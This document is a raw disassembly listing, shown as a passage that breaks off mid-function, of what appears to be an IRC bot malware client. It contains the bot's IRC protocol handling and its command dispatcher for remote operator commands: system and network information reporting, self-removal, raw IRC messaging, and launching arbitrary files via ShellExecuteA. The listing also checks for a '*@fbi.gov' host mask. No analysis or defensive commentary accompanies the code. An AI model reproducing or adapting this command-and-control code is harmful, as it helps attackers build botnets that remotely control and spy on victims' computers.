push eax ; DstBuf
call ds:_vsnprintf ; _vsnprintf
add esp, 10h
lea ecx, [ebp+DstBuf]
push ecx
mov edx, [ebp+arg_0]
push edx
push offset aPrivmsgSS ; "PRIVMSG %s :%s"
push 1FEh ; Count
lea eax, [ebp+buf]
push eax ; Dest
call ds:_snprintf ; _snprintf
add esp, 14h
push offset asc_10012180 ; "\r\n"
lea ecx, [ebp+buf]
push ecx ; Dest
call strcat ; strcat
add esp, 8
push 0 ; flags
lea edx, [ebp+buf]
push edx ; Str
call strlen ; strlen
add esp, 4
push eax ; len
lea eax, [ebp+buf]
push eax ; buf
mov ecx, s
push ecx ; s
call ds:send ; send
mov esp, ebp
pop ebp
retn
sub_10007303 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_10007398 proc near ; CODE XREF: sub_10007424+36Bp
; sub_10007424+462p
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push 20h ; Count
push 21h
push 1
mov eax, [ebp+arg_0]
push eax
call sub_10004799
add esp, 0Ch
push eax ; Source
push offset byte_10012B10 ; Dest
call ds:strncpy ; strncpy
add esp, 0Ch
push 10h ; Count
push 40h
push 1
mov ecx, [ebp+arg_0]
push ecx
call sub_10004799
add esp, 0Ch
push eax ; Source
push offset byte_10012B30 ; Dest
call ds:strncpy ; strncpy
add esp, 0Ch
push 10h ; Count
push 21h
push 2
mov edx, [ebp+arg_0]
push edx
call sub_10004799
add esp, 0Ch
push eax ; Source
push offset byte_10012B30 ; Dest
call ds:strncpy ; strncpy
add esp, 0Ch
push 80h ; Count
push 40h
push 2
mov eax, [ebp+arg_0]
push eax
call sub_10004799
add esp, 0Ch
push eax ; Source
push offset byte_10012B40 ; Dest
call ds:strncpy ; strncpy
add esp, 0Ch
pop ebp
retn
sub_10007398 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_10007424(char *Str)
sub_10007424 proc near ; CODE XREF: start+35Bp
; sub_10007424+551p ...
var_2B58 = dword ptr -2B58h
var_2B54 = dword ptr -2B54h
var_2B50 = dword ptr -2B50h
var_2B4C = dword ptr -2B4Ch
var_2B48 = byte ptr -2B48h
var_2B47 = dword ptr -2B47h
var_2B43 = dword ptr -2B43h
var_2B3F = dword ptr -2B3Fh
var_2B3B = word ptr -2B3Bh
var_2B39 = byte ptr -2B39h
TempFileName = byte ptr -2B38h
var_2B37 = byte ptr -2B37h
NumberOfBytesRead= dword ptr -2A34h
hFile = dword ptr -2A30h
PathName = byte ptr -2A2Ch
var_2A2B = byte ptr -2A2Bh
var_2928 = byte ptr -2928h
var_2927 = byte ptr -2927h
uCode = dword ptr -2728h
String = byte ptr -2724h
var_2620 = dword ptr -2620h
var_261C = byte ptr -261Ch
var_2618 = dword ptr -2618h
var_2614 = dword ptr -2614h
var_2610 = byte ptr -2610h
var_260C = dword ptr -260Ch
var_2608 = dword ptr -2608h
var_2604 = dword ptr -2604h
var_2600 = word ptr -2600h
var_25FE = byte ptr -25FEh
var_25BE = dword ptr -25BEh
var_25AD = dword ptr -25ADh
var_25A4 = dword ptr -25A4h
VersionInformation= _OSVERSIONINFOA ptr -25A0h
var_250C = dword ptr -250Ch
var_2508 = dword ptr -2508h
lpBuffer = dword ptr -2504h
nSize = dword ptr -2500h
LCData = byte ptr -24FCh
var_24F0 = dword ptr -24F0h
var_24EC = dword ptr -24ECh
var_24E4 = word ptr -24E4h
Drive = byte ptr -22E2h
var_21E1 = dword ptr -21E1h
FullPath = byte ptr -21DCh
var_20DC = byte ptr -20DCh
Buffer = byte ptr -20D0h
var_1FD0 = dword ptr -1FD0h
var_1FCC = dword ptr -1FCCh
var_1ECC = byte ptr -1ECCh
var_1DCC = dword ptr -1DCCh
var_1DC8 = dword ptr -1DC8h
var_1DC4 = dword ptr -1DC4h
var_1DC0 = word ptr -1DC0h
var_1DBE = dword ptr -1DBEh
var_1D3E = byte ptr -1D3Eh
var_1D3D = dword ptr -1D3Dh
var_1D38 = dword ptr -1D38h
var_1D34 = dword ptr -1D34h
var_1D30 = word ptr -1D30h
var_1D2E = dword ptr -1D2Eh
var_1CAE = byte ptr -1CAEh
var_1CAD = dword ptr -1CADh
Parameter = dword ptr -1CA8h
var_1CA4 = dword ptr -1CA4h
var_1CA0 = dword ptr -1CA0h
var_1C20 = byte ptr -1C20h
var_1C1F = dword ptr -1C1Fh
var_1C18 = dword ptr -1C18h
var_1C14 = dword ptr -1C14h
var_1B14 = byte ptr -1B14h
var_1A13 = byte ptr -1A13h
var_1A12 = byte ptr -1A12h
var_1A11 = dword ptr -1A11h
var_1A0C = dword ptr -1A0Ch
var_1A08 = dword ptr -1A08h
var_1908 = byte ptr -1908h
var_18F8 = dword ptr -18F8h
var_18F4 = byte ptr -18F4h
FileName = byte ptr -17F4h
var_16F4 = byte ptr -16F4h
var_15F4 = byte ptr -15F4h
Parameters = byte ptr -14F4h
var_13F4 = byte ptr -13F4h
File = byte ptr -12F4h
SubStr = byte ptr -11F4h
var_10F4 = byte ptr -10F4h
var_FF4 = dword ptr -0FF4h
var_FF0 = dword ptr -0FF0h
var_FEC = byte ptr -0FECh
var_FE8 = dword ptr -0FE8h
var_FE4 = byte ptr -0FE4h
var_DE4 = byte ptr -0DE4h
var_BE4 = byte ptr -0BE4h
var_9E4 = byte ptr -9E4h
var_7E4 = dword ptr -7E4h
var_7E0 = dword ptr -7E0h
var_7DC = byte ptr -7DCh
var_5DC = byte ptr -5DCh
var_3DC = byte ptr -3DCh
var_1DC = dword ptr -1DCh
var_1D8 = dword ptr -1D8h
var_1D4 = dword ptr -1D4h
in = in_addr ptr -1D0h
var_1CC = dword ptr -1CCh
Dest = byte ptr -1C8h
var_188 = byte ptr -188h
var_127 = dword ptr -127h
var_122 = byte ptr -122h
var_11F = byte ptr -11Fh
var_116 = byte ptr -116h
var_110 = byte ptr -110h
var_88 = dword ptr -88h
var_84 = dword ptr -84h
Dst = dword ptr -80h
Str2 = dword ptr -7Ch
Source = dword ptr -78h
var_74 = dword ptr -74h
var_70 = dword ptr -70h
Str = dword ptr 8
push ebp
mov ebp, esp
mov eax, 2B58h
call __alloca_probe
push edi
push 80h ; Size
push 0 ; Val
lea eax, [ebp+Dst]
push eax ; Dst
call memset ; memset
add esp, 0Ch
push 100h ; Size
push 0 ; Val
lea ecx, [ebp+var_188]
push ecx ; Dst
call memset ; memset
add esp, 0Ch
push 20h
mov edx, [ebp+Str]
push edx
call sub_10004581
add esp, 8
mov [ebp+var_84], eax
cmp [ebp+var_84], 20h
jle short loc_10007482
mov [ebp+var_84], 20h
loc_10007482: ; CODE XREF: sub_10007424+52j
mov [ebp+var_88], 0
jmp short loc_1000749D
; ---------------------------------------------------------------------------
loc_1000748E: ; CODE XREF: sub_10007424+A9j
mov eax, [ebp+var_88]
add eax, 1
mov [ebp+var_88], eax
loc_1000749D: ; CODE XREF: sub_10007424+68j
mov ecx, [ebp+var_88]
cmp ecx, [ebp+var_84]
jge short loc_100074CF
push 20h
mov edx, [ebp+var_88]
add edx, 1
push edx
mov eax, [ebp+Str]
push eax
call sub_10004799
add esp, 0Ch
mov ecx, [ebp+var_88]
mov [ebp+ecx*4+Dst], eax
jmp short loc_1000748E
; ---------------------------------------------------------------------------
loc_100074CF: ; CODE XREF: sub_10007424+85j
mov edx, [ebp+var_84]
sub edx, 1
mov [ebp+var_88], edx
jmp short loc_100074EF
; ---------------------------------------------------------------------------
loc_100074E0: ; CODE XREF: sub_10007424:loc_10007540j
mov eax, [ebp+var_88]
sub eax, 1
mov [ebp+var_88], eax
loc_100074EF: ; CODE XREF: sub_10007424+BAj
cmp [ebp+var_88], 1
jl short loc_10007542
mov ecx, [ebp+var_88]
mov edx, [ebp+ecx*4+Dst]
movsx eax, byte ptr [edx]
cmp eax, 2Dh
jnz short loc_10007540
mov ecx, [ebp+var_88]
mov edx, [ebp+ecx*4+Dst]
movsx eax, byte ptr [edx+2]
test eax, eax
jnz short loc_10007540
mov ecx, [ebp+var_88]
mov edx, [ebp+ecx*4+Dst]
movsx eax, byte ptr [edx+1]
mov [ebp+eax+var_188], 1
mov ecx, [ebp+var_88]
mov [ebp+ecx*4+Dst], 0
loc_10007540: ; CODE XREF: sub_10007424+E4j
; sub_10007424+F6j
jmp short loc_100074E0
; ---------------------------------------------------------------------------
loc_10007542: ; CODE XREF: sub_10007424+D2j
cmp [ebp+Dst], 0
jnz short loc_1000754D
jmp loc_1000982A
; ---------------------------------------------------------------------------
loc_1000754D: ; CODE XREF: sub_10007424+122j
mov edx, [ebp+Dst]
push edx ; Str2
push offset aPing ; "PING"
call ds:_stricmp ; _stricmp
add esp, 8
test eax, eax
jnz short loc_10007574
mov eax, [ebp+Str2]
push eax ; char
push offset aPongS ; "PONG %s"
call sub_10007293
add esp, 8
loc_10007574: ; CODE XREF: sub_10007424+13Dj
cmp [ebp+Str2], 0
jnz short loc_1000757F
jmp loc_1000982A
; ---------------------------------------------------------------------------
loc_1000757F: ; CODE XREF: sub_10007424+154j
mov ecx, [ebp+Dst]
add ecx, 1
mov [ebp+Dst], ecx
mov edx, [ebp+Str2]
push edx ; Str2
push offset a001 ; "001"
call ds:_stricmp ; _stricmp
add esp, 8
test eax, eax
jnz short loc_100075E0
push 20h ; Count
mov eax, [ebp+Source]
push eax ; Source
push offset byte_10012AF0 ; Dest
call ds:strncpy ; strncpy
add esp, 0Ch
push offset byte_10012AF0 ; char
push offset aUserhostS ; "USERHOST %s"
call sub_10007293
add esp, 8
push offset dword_1002C768
push offset byte_1002C868 ; char
push offset aJoinSS ; "JOIN %s %s"
call sub_10007293
add esp, 0Ch
jmp loc_1000982A
; ---------------------------------------------------------------------------
loc_100075E0: ; CODE XREF: sub_10007424+178j
mov ecx, [ebp+Str2]
push ecx ; Str2
push offset a302 ; "302"
call ds:_stricmp ; _stricmp
add esp, 8
test eax, eax
jnz loc_1000773E
mov edx, [ebp+var_74]
add edx, 1
mov [ebp+var_74], edx
push 3Dh
push 1
mov eax, [ebp+var_74]
push eax
call sub_10004799
add esp, 0Ch
push eax ; Str2
push offset byte_10012AF0 ; Str1
call ds:_stricmp ; _stricmp
add esp, 8
test eax, eax
jnz loc_10007739
push 40h
push 2
mov ecx, [ebp+var_74]
push ecx
call sub_10004799
add esp, 0Ch
push eax ; Src
call sub_10004BF7
add esp, 4
and eax, 0FFh
test eax, eax
jz loc_100076D6
push 10h ; Count
push 40h
push 2
mov edx, [ebp+var_74]
push edx
call sub_10004799
add esp, 0Ch
push eax ; Source
push offset byte_1002C5D8 ; Dest
call ds:strncpy ; strncpy
add esp, 0Ch
push offset byte_1002C5D8 ; cp
call ds:inet_addr ; inet_addr
push eax ; addr
call sub_1000495F
add esp, 4
mov [ebp+var_1CC], eax
cmp [ebp+var_1CC], 0
jnz short loc_10007699
jmp loc_1000982A
; ---------------------------------------------------------------------------
loc_10007699: ; CODE XREF: sub_10007424+26Ej
cmp [ebp+var_1CC], 0
jz short loc_100076B0
mov eax, [ebp+var_1CC]
mov [ebp+var_2B4C], eax
jmp short loc_100076BA
; ---------------------------------------------------------------------------
loc_100076B0: ; CODE XREF: sub_10007424+27Cj
mov [ebp+var_2B4C], offset byte_1002C5D8
loc_100076BA: ; CODE XREF: sub_10007424+28Aj
push 80h ; Count
mov ecx, [ebp+var_2B4C]
push ecx ; Source
push offset byte_10012A70 ; Dest
call ds:strncpy ; strncpy
add esp, 0Ch
jmp short loc_10007739
; ---------------------------------------------------------------------------
loc_100076D6: ; CODE XREF: sub_10007424+226j
push 80h ; Count
push 40h
push 2
mov edx, [ebp+var_74]
push edx
call sub_10004799
add esp, 0Ch
push eax ; Source
push offset byte_10012A70 ; Dest
call ds:strncpy ; strncpy
add esp, 0Ch
push offset byte_10012A70 ; name
call sub_10004763
add esp, 4
mov dword ptr [ebp+in.S_un], eax
cmp dword ptr [ebp+in.S_un], 0
jnz short loc_1000771B
jmp loc_1000982A
; ---------------------------------------------------------------------------
loc_1000771B: ; CODE XREF: sub_10007424+2F0j
push 10h ; Count
mov eax, dword ptr [ebp+in.S_un]
push eax ; in
call ds:inet_ntoa ; inet_ntoa
push eax ; Source
push offset byte_1002C5D8 ; Dest
call ds:strncpy ; strncpy
add esp, 0Ch
loc_10007739: ; CODE XREF: sub_10007424+200j
; sub_10007424+2B0j
jmp loc_1000982A
; ---------------------------------------------------------------------------
loc_1000773E: ; CODE XREF: sub_10007424+1D0j
mov ecx, [ebp+Str2]
push ecx ; Str2
push offset a433 ; "433"
call ds:_stricmp ; _stricmp
add esp, 8
test eax, eax
jnz short loc_1000776C
call sub_10006FA2
push eax ; char
push offset aNickS ; "NICK %s"
call sub_10007293
add esp, 8
jmp loc_1000982A
; ---------------------------------------------------------------------------
loc_1000776C: ; CODE XREF: sub_10007424+32Ej
mov edx, [ebp+Str2]
push edx ; Str2
push offset aNick ; "NICK"
call ds:_stricmp ; _stricmp
add esp, 8
test eax, eax
jnz short loc_100077C7
mov eax, [ebp+Source]
add eax, 1
mov [ebp+Source], eax
mov ecx, [ebp+Dst]
push ecx
call sub_10007398
add esp, 4
push offset byte_10012B10 ; Str2
push offset byte_10012AF0 ; Str1
call ds:_stricmp ; _stricmp
add esp, 8
test eax, eax
jnz short loc_100077C2
push 20h ; Count
mov edx, [ebp+Source]
push edx ; Source
push offset byte_10012AF0 ; Dest
call ds:strncpy ; strncpy
add esp, 0Ch
loc_100077C2: ; CODE XREF: sub_10007424+388j
jmp loc_1000982A
; ---------------------------------------------------------------------------
loc_100077C7: ; CODE XREF: sub_10007424+35Cj
mov eax, [ebp+Str2]
push eax ; Str2
push offset aKick ; "KICK"
call ds:_stricmp ; _stricmp
add esp, 8
test eax, eax
jnz short loc_10007824
mov ecx, [ebp+var_74]
push ecx ; Str2
push offset byte_10012AF0 ; Str1
call ds:_stricmp ; _stricmp
add esp, 8
test eax, eax
jnz short loc_1000781F
mov edx, [ebp+Source]
push edx ; Str2
push offset byte_1002C868 ; Str1
call ds:_stricmp ; _stricmp
add esp, 8
test eax, eax
jnz short loc_1000781F
push offset dword_1002C768
mov eax, [ebp+Source]
push eax ; char
push offset aJoinSS_0 ; "JOIN %s %s"
call sub_10007293
add esp, 0Ch
loc_1000781F: ; CODE XREF: sub_10007424+3CDj
; sub_10007424+3E3j
jmp loc_1000982A
; ---------------------------------------------------------------------------
loc_10007824: ; CODE XREF: sub_10007424+3B7j
mov ecx, [ebp+Str2]
push ecx ; Str2
push offset aPrivmsg ; "PRIVMSG"
call ds:_stricmp ; _stricmp
add esp, 8
test eax, eax
jz short loc_10007854
mov edx, [ebp+Str2]
push edx ; Str2
push offset a332 ; "332"
call ds:_stricmp ; _stricmp
add esp, 8
test eax, eax
jnz loc_1000982A
loc_10007854: ; CODE XREF: sub_10007424+414j
mov eax, [ebp+Str2]
push eax ; Str2
push offset aPrivmsg_0 ; "PRIVMSG"
call ds:_stricmp ; _stricmp
add esp, 8
test eax, eax
jnz loc_100079FA
mov ecx, [ebp+var_74]
add ecx, 1
mov [ebp+var_74], ecx
cmp [ebp+var_74], 0
jnz short loc_10007882
jmp loc_1000982A
; ---------------------------------------------------------------------------
loc_10007882: ; CODE XREF: sub_10007424+457j
mov edx, [ebp+Dst]
push edx
call sub_10007398
add esp, 4
mov eax, [ebp+Source]
push eax ; Str2
push offset byte_10012AF0 ; Str1
call ds:_stricmp ; _stricmp
add esp, 8
test eax, eax
jnz short loc_100078BD
push 40h ; Count
push offset byte_10012B10 ; Source
lea ecx, [ebp+Dest]
push ecx ; Dest
call ds:strncpy ; strncpy
add esp, 0Ch
jmp short loc_100078D3
; ---------------------------------------------------------------------------
loc_100078BD: ; CODE XREF: sub_10007424+47Ej
push 40h ; Count
mov edx, [ebp+Source]
push edx ; Source
lea eax, [ebp+Dest]
push eax ; Dest
call ds:strncpy ; strncpy
add esp, 0Ch
loc_100078D3: ; CODE XREF: sub_10007424+497j
mov ecx, [ebp+var_74]
push ecx ; Str2
push offset byte_10012AF0 ; Str1
call ds:_stricmp ; _stricmp
add esp, 8
test eax, eax
jnz short loc_100078F5
mov [ebp+var_1D4], 4
jmp short loc_100078FF
; ---------------------------------------------------------------------------
loc_100078F5: ; CODE XREF: sub_10007424+4C3j
mov [ebp+var_1D4], 3
loc_100078FF: ; CODE XREF: sub_10007424+4CFj
mov edx, [ebp+var_1D4]
cmp [ebp+edx*4+Dst], 0
jnz short loc_10007911
jmp loc_1000982A
; ---------------------------------------------------------------------------
loc_10007911: ; CODE XREF: sub_10007424+4E6j
push 3Bh
mov eax, [ebp+Str]
push eax
call sub_10004581
add esp, 8
mov [ebp+var_1D8], eax
cmp [ebp+var_1D8], 2
jl loc_100079F5
push 200h ; Count
mov ecx, [ebp+Dst]
push ecx ; Source
lea edx, [ebp+var_5DC]
push edx ; Dest
call ds:strncpy ; strncpy
add esp, 0Ch
push 200h ; Count
mov eax, [ebp+Source]
push eax ; Source
lea ecx, [ebp+var_3DC]
push ecx ; Dest
call ds:strncpy ; strncpy
add esp, 0Ch
push 3Bh
push 1
mov edx, [ebp+Str]
push edx
call sub_10004799
add esp, 0Ch
push eax ; Str
call sub_10007424
add esp, 4
mov [ebp+var_1DC], 2
jmp short loc_10007998
; ---------------------------------------------------------------------------
loc_10007989: ; CODE XREF: sub_10007424+5CFj
mov eax, [ebp+var_1DC]
add eax, 1
mov [ebp+var_1DC], eax
loc_10007998: ; CODE XREF: sub_10007424+563j
mov ecx, [ebp+var_1DC]
cmp ecx, [ebp+var_1D8]
jg short loc_100079F5
push 3Bh
mov edx, [ebp+var_1DC]
push edx
mov eax, [ebp+Str]
push eax
call sub_10004799
add esp, 0Ch
push eax
lea ecx, [ebp+var_3DC]
push ecx
lea edx, [ebp+var_5DC]
push edx
push offset aSPrivmsgSS ; ":%s PRIVMSG %s :%s"
push 200h ; Count
lea eax, [ebp+var_7DC]
push eax ; Dest
call ds:_snprintf ; _snprintf
add esp, 18h
lea ecx, [ebp+var_7DC]
push ecx ; Str
call sub_10007424
add esp, 4
jmp short loc_10007989
; ---------------------------------------------------------------------------
loc_100079F5: ; CODE XREF: sub_10007424+508j
; sub_10007424+580j
jmp loc_10007B4C
; ---------------------------------------------------------------------------
loc_100079FA: ; CODE XREF: sub_10007424+444j
mov edx, [ebp+Str2]
push edx ; Str2
push offset a332_0 ; "332"
call ds:_stricmp ; _stricmp
add esp, 8
test eax, eax
jnz loc_10007B4C
mov eax, [ebp+var_70]
add eax, 1
mov [ebp+var_70], eax
cmp [ebp+var_70], 0
jnz short loc_10007A28
jmp loc_1000982A
; ---------------------------------------------------------------------------
loc_10007A28: ; CODE XREF: sub_10007424+5FDj
push 40h ; Count
mov ecx, [ebp+var_74]
push ecx ; Source
lea edx, [ebp+Dest]
push edx ; Dest
call ds:strncpy ; strncpy
add esp, 0Ch
mov [ebp+var_1D4], 4
push 3Bh
mov eax, [ebp+Str]
push eax
call sub_10004581
add esp, 8
mov [ebp+var_7E0], eax
cmp [ebp+var_7E0], 2
jl loc_10007B4C
push 200h ; Count
mov ecx, [ebp+Dst]
push ecx ; Source
lea edx, [ebp+var_DE4]
push edx ; Dest
call ds:strncpy ; strncpy
add esp, 0Ch
push 200h ; Count
mov eax, [ebp+Source]
push eax ; Source
lea ecx, [ebp+var_BE4]
push ecx ; Dest
call ds:strncpy ; strncpy
add esp, 0Ch
push 200h ; Count
mov edx, [ebp+var_74]
push edx ; Source
lea eax, [ebp+var_9E4]
push eax ; Dest
call ds:strncpy ; strncpy
add esp, 0Ch
push 3Bh
push 1
mov ecx, [ebp+Str]
push ecx
call sub_10004799
add esp, 0Ch
push eax ; Str
call sub_10007424
add esp, 4
mov [ebp+var_7E4], 2
jmp short loc_10007AE8
; ---------------------------------------------------------------------------
loc_10007AD9: ; CODE XREF: sub_10007424+726j
mov edx, [ebp+var_7E4]
add edx, 1
mov [ebp+var_7E4], edx
loc_10007AE8: ; CODE XREF: sub_10007424+6B3j
mov eax, [ebp+var_7E4]
cmp eax, [ebp+var_7E0]
jg short loc_10007B4C
push 3Bh
mov ecx, [ebp+var_7E4]
push ecx
mov edx, [ebp+Str]
push edx
call sub_10004799
add esp, 0Ch
push eax
lea eax, [ebp+var_9E4]
push eax
lea ecx, [ebp+var_BE4]
push ecx
lea edx, [ebp+var_DE4]
push edx
push offset aS332SSS ; ":%s 332 %s %s :%s"
push 200h ; Count
lea eax, [ebp+var_FE4]
push eax ; Dest
call ds:_snprintf ; _snprintf
add esp, 1Ch
lea ecx, [ebp+var_FE4]
push ecx ; Str
call sub_10007424
add esp, 4
jmp short loc_10007AD9
; ---------------------------------------------------------------------------
loc_10007B4C: ; CODE XREF: sub_10007424:loc_100079F5j
; sub_10007424+5EAj ...
push 21h
push 2
mov edx, [ebp+Dst]
push edx
call sub_10004799
add esp, 0Ch
push eax
push offset a@fbi_gov ; "*@fbi.gov"
call sub_1000ACB2
add esp, 8
test eax, eax
jnz short loc_10007B89
mov eax, [ebp+Str2]
push eax ; Str2
push offset a332_1 ; "332"
call ds:_stricmp ; _stricmp
add esp, 8
test eax, eax
jz short loc_10007B89
jmp loc_1000982A
; ---------------------------------------------------------------------------
loc_10007B89: ; CODE XREF: sub_10007424+748j
; sub_10007424+75Ej
mov ecx, [ebp+var_1D4]
mov edx, [ebp+ecx*4+Dst]
push edx ; Str2
push offset aBotid ; "botid"
call ds:_stricmp ; _stricmp
add esp, 8
test eax, eax
jnz short loc_10007BC4
push offset Name ; char
push offset aBotidS___ ; "{BOTID}: %s..."
lea eax, [ebp+Dest]
push eax ; int
call sub_10007303
add esp, 0Ch
jmp loc_1000982A
; ---------------------------------------------------------------------------
loc_10007BC4: ; CODE XREF: sub_10007424+780j
mov ecx, [ebp+var_1D4]
mov edx, [ebp+ecx*4+Dst]
push edx ; Str2
push offset aUptime ; "uptime"
call ds:_stricmp ; _stricmp
add esp, 8
test eax, eax
jnz loc_10007CB1
call ds:GetTickCount ; GetTickCount
xor edx, edx
mov ecx, 3E8h
div ecx
mov [ebp+var_FE8], eax
mov eax, [ebp+var_FE8]
xor edx, edx
mov ecx, 15180h
div ecx
mov dword ptr [ebp+var_FEC], eax
mov edx, [ebp+var_1D4]
cmp [ebp+edx*4+Str2], 0
jz short loc_10007C38
mov eax, [ebp+var_1D4]
mov ecx, [ebp+eax*4+Str2]
push ecx ; Str
call ds:atol ; atol
add esp, 4
cmp dword ptr [ebp+var_FEC], eax
jb short loc_10007CAC
loc_10007C38: ; CODE XREF: sub_10007424+7F6j
mov eax, [ebp+var_FE8]
xor edx, edx
mov ecx, 15180h
div ecx
mov eax, edx
xor edx, edx
mov ecx, 0E10h
div ecx
mov [ebp+var_FF0], eax
mov eax, [ebp+var_FE8]
xor edx, edx
mov ecx, 15180h
div ecx
mov eax, edx
xor edx, edx
mov ecx, 0E10h
div ecx
mov eax, edx
xor edx, edx
mov ecx, 3Ch
div ecx
mov [ebp+var_FF4], eax
mov edx, [ebp+var_FF4]
push edx
mov eax, [ebp+var_FF0]
push eax
mov ecx, dword ptr [ebp+var_FEC]
push ecx ; char
push offset aUptimeLudLuhLu ; "{UPTIME}: %lud %luh %lum..."
lea edx, [ebp+Dest]
push edx ; int
call sub_10007303
add esp, 14h
loc_10007CAC: ; CODE XREF: sub_10007424+812j
jmp loc_1000982A
; ---------------------------------------------------------------------------
loc_10007CB1: ; CODE XREF: sub_10007424+7BBj
mov eax, [ebp+var_1D4]
mov ecx, [ebp+eax*4+Dst]
push ecx ; Str2
push offset aSysinfo ; "sysinfo"
call ds:_stricmp ; _stricmp
add esp, 8
test eax, eax
jnz short loc_10007CED
call sub_10004987
push eax ; char
push offset aSysinfoS___ ; "{SYSINFO}: %s..."
lea edx, [ebp+Dest]
push edx ; int
call sub_10007303
add esp, 0Ch
jmp loc_1000982A
; ---------------------------------------------------------------------------
loc_10007CED: ; CODE XREF: sub_10007424+8A8j
mov eax, [ebp+var_1D4]
mov ecx, [ebp+eax*4+Dst]
push ecx ; Str2
push offset aNetinfo ; "netinfo"
call ds:_stricmp ; _stricmp
add esp, 8
test eax, eax
jnz short loc_10007D29
call sub_10004BB5
push eax ; char
push offset aNetinfoS___ ; "{NETINFO}: %s..."
lea edx, [ebp+Dest]
push edx ; int
call sub_10007303
add esp, 0Ch
jmp loc_1000982A
; ---------------------------------------------------------------------------
loc_10007D29: ; CODE XREF: sub_10007424+8E4j
mov eax, [ebp+var_1D4]
mov ecx, [ebp+eax*4+Dst]
push ecx ; Str2
push offset aReconnect ; "reconnect"
call ds:_stricmp ; _stricmp
add esp, 8
test eax, eax
jnz short loc_10007D58
push offset aQuit_1 ; "QUIT"
call sub_10007293
add esp, 4
jmp loc_1000982A
; ---------------------------------------------------------------------------
loc_10007D58: ; CODE XREF: sub_10007424+920j
mov edx, [ebp+var_1D4]
mov eax, [ebp+edx*4+Dst]
push eax ; Str2
push offset aExit ; "exit"
call ds:_stricmp ; _stricmp
add esp, 8
test eax, eax
jnz short loc_10007D8F
call sub_1000AAE1
push offset aQuit_2 ; "QUIT"
call sub_10007293
add esp, 4
push 0 ; Code
call ds:exit ; exit
; ---------------------------------------------------------------------------
loc_10007D8F: ; CODE XREF: sub_10007424+94Fj
mov ecx, [ebp+var_1D4]
mov edx, [ebp+ecx*4+Dst]
push edx ; Str2
push offset aRemove ; "remove"
call ds:_stricmp ; _stricmp
add esp, 8
test eax, eax
jnz short loc_10007DF6
mov eax, [ebp+var_1D4]
cmp [ebp+eax*4+Str2], 0
jz short loc_10007DDA
mov ecx, [ebp+var_1D4]
mov edx, [ebp+ecx*4+Str2]
push edx ; Str2
push offset Name ; Str1
call strcmp ; strcmp
add esp, 8
test eax, eax
jnz short loc_10007DDA
jmp loc_1000982A
; ---------------------------------------------------------------------------
loc_10007DDA: ; CODE XREF: sub_10007424+993j
; sub_10007424+9AFj
call sub_1000AAE1
push offset aQuit_3 ; "QUIT"
call sub_10007293
add esp, 4
call sub_10004EA7
; ---------------------------------------------------------------------------
jmp loc_1000982A
; ---------------------------------------------------------------------------
loc_10007DF6: ; CODE XREF: sub_10007424+986j
mov eax, [ebp+var_1D4]
mov ecx, [ebp+eax*4+Dst]
push ecx ; Str2
push offset aRaw ; "raw"
call ds:_stricmp ; _stricmp
add esp, 8
test eax, eax
jnz loc_10007EDE
mov edx, [ebp+var_1D4]
cmp [ebp+edx*4+Str2], 0
jnz short loc_10007E29
jmp loc_1000982A
; ---------------------------------------------------------------------------
loc_10007E29: ; CODE XREF: sub_10007424+9FEj
mov eax, [ebp+var_1D4]
mov ecx, [ebp+eax*4+Str2]
push ecx
push offset aS_1 ; " %s"
push 100h ; Count
lea edx, [ebp+SubStr]
push edx ; Dest
call ds:_snprintf ; _snprintf
add esp, 10h
push 100h ; Count
lea eax, [ebp+SubStr]
push eax ; SubStr
mov ecx, [ebp+Str]
push ecx ; Str
call ds:strstr ; strstr
add esp, 8
push eax ; Source
lea edx, [ebp+var_10F4]
push edx ; Dest
call ds:strncpy ; strncpy
add esp, 0Ch
push 100h ; Count
mov eax, [ebp+var_1D4]
mov ecx, [ebp+eax*4+Str2]
push ecx ; Source
lea edx, [ebp+SubStr]
push edx ; Dest
call ds:strncpy ; strncpy
add esp, 0Ch
push 100h ; Count
lea eax, [ebp+SubStr]
push eax ; SubStr
lea ecx, [ebp+var_10F4]
push ecx ; Str
call ds:strstr ; strstr
add esp, 8
push eax ; Source
lea edx, [ebp+var_10F4]
push edx ; Dest
call ds:strncpy ; strncpy
add esp, 0Ch
lea eax, [ebp+var_10F4]
push eax ; char
push offset aRawS___ ; "{RAW}: %s..."
call sub_10007293
add esp, 8
jmp loc_1000982A
; ---------------------------------------------------------------------------
loc_10007EDE: ; CODE XREF: sub_10007424+9EDj
mov ecx, [ebp+var_1D4]
mov edx, [ebp+ecx*4+Dst]
push edx ; Str2
push offset aOpen_5 ; "open"
call ds:_stricmp ; _stricmp
add esp, 8
test eax, eax
jnz loc_10007FE7
mov eax, [ebp+var_1D4]
cmp [ebp+eax*4+Str2], 0
jnz short loc_10007F11
jmp loc_1000982A
; ---------------------------------------------------------------------------
loc_10007F11: ; CODE XREF: sub_10007424+AE6j
mov ecx, [ebp+var_1D4]
mov edx, [ebp+ecx*4+Str2]
push edx
push offset aS_2 ; " %s"
push 100h ; Count
lea eax, [ebp+var_13F4]
push eax ; Dest
call ds:_snprintf ; _snprintf
add esp, 10h
push 100h ; Count
lea ecx, [ebp+var_13F4]
push ecx ; SubStr
mov edx, [ebp+Str]
push edx ; Str
call ds:strstr ; strstr
add esp, 8
push eax ; Source
lea eax, [ebp+File]
push eax ; Dest
call ds:strncpy ; strncpy
add esp, 0Ch
push 100h ; Count
mov ecx, [ebp+var_1D4]
mov edx, [ebp+ecx*4+Str2]
push edx ; Source
lea eax, [ebp+var_13F4]
push eax ; Dest
call ds:strncpy ; strncpy
add esp, 0Ch
push 100h ; Count
lea ecx, [ebp+var_13F4]
push ecx ; SubStr
lea edx, [ebp+File]
push edx ; Str
call ds:strstr ; strstr
add esp, 8
push eax ; Source
lea eax, [ebp+File]
push eax ; Dest
call ds:strncpy ; strncpy
add esp, 0Ch
push 5 ; nShowCmd
push 0 ; lpDirectory
push 0 ; lpParameters
lea ecx, [ebp+File]
push ecx ; lpFile
push offset aOpen_6 ; "open"
push 0 ; hwnd
call ds:ShellExecuteA ; ShellExecuteA
lea edx, [ebp+var_13F4]
push edx ; char
push offset aOpenOpenedFile ; "{OPEN}: Opened file %s..."
lea eax, [ebp+Dest]
push eax ; int
call sub_10007303
add esp, 0Ch
jmp loc_1000982A
; ---------------------------------------------------------------------------
loc_10007FE7: ; CODE XREF: sub_10007424+AD5j
mov ecx, [ebp+var_1D4]
mov edx, [ebp+ecx*4+Dst]
push edx ; Str2
